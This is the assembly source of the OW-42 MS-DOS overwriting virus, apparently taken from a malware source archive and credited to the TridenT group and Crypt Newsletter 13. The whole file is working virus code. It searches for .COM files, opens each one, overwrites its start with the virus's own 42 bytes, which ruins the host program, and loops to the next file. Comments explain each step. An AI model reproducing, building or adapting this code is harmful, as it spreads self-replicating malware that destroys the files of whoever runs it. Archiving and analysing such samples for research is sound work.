MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.ow_42.asm
2021-01-12 17:52:14 -06:00

40 lines
1.0 KiB
NASM

;OW-42 virus - TridenT group, edited for Crypt Newsletter 13
;
CODE SEGMENT
ASSUME CS:CODE, DS:CODE, ES:CODE, SS:NOTHING
org 0100h
start: mov ah,4Eh ; find first file
recurse:
mov dx,0123h ; matching filemask, "*.*"
int 21h
db 72h,20h ;hand-coded jump on carry to
;exit if no more files found
mov ax,3D01h
mov dx,009Eh
int 21h
mov bh,40h
mov dx,0100h ;starting from beginning
xchg ax,bx ;put handle in ax
mov cl,2Ah ;to write: 42 bytes of virus
int 21h ;write the virus
mov ah,3Eh ;close the file
int 21h
mov ah,4Fh ;find next file
jmp Short recurse
db "*.COM" ;file_mask
dw 0C300h ;hand-coded return
CODE ENDS
END START